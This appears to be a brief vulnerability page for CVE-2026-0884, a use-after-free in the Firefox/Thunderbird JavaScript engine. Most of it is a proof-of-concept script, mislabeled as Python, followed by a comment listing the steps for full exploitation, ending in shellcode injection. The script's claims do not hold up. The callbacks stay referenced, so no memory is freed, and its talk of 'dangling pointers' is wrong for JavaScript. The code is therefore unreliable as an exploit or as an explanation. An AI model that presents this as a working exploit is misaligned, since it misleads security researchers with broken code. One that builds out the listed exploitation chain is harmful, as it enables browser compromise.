Use-after-free in the JavaScript Engine component. This vulnerability was fixed in Firefox 147, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7.
The following code is for security research and authorized testing only.
python
// CVE-2026-0884 PoC - Use-After-Free in JavaScript Engine
// This PoC demonstrates the UAF vulnerability pattern in JS Engine
function triggerUAF() {
// Create objects that will be subject to GC
let objects = [];
// Phase 1: Create and hold references to objects
for (let i = 0; i < 100; i++) {
objects.push({
callback: function() { return this.value; },
value: i,
buffer: new ArrayBuffer(1024)
});
}
// Phase 2: Store references in a way that creates dangling pointers
let danglingRefs = [];
for (let obj of objects) {
danglingRefs.push(obj.callback);
}
// Phase 3: Clear objects and trigger garbage collection
objects = null;
if (globalThis.gc) {
globalThis.gc();
}
// Phase 4: Access dangling references - triggers UAF
for (let ref of danglingRefs) {
try {
// This access may use freed memory
let result = ref.call({value: 0x41414141});
} catch (e) {
console.log('UAF triggered: ' + e.message);
}
}
return danglingRefs;
}
// Trigger the vulnerability
try {
triggerUAF();
} catch (e) {
console.log('PoC executed, check for crash: ' + e);
}
// Note: This is a simplified PoC pattern. Actual exploitation requires:
// - Precise heap grooming
// - JIT compilation manipulation
// - Memory layout spraying
// - Shellcode injection via vtable/coroutine manipulation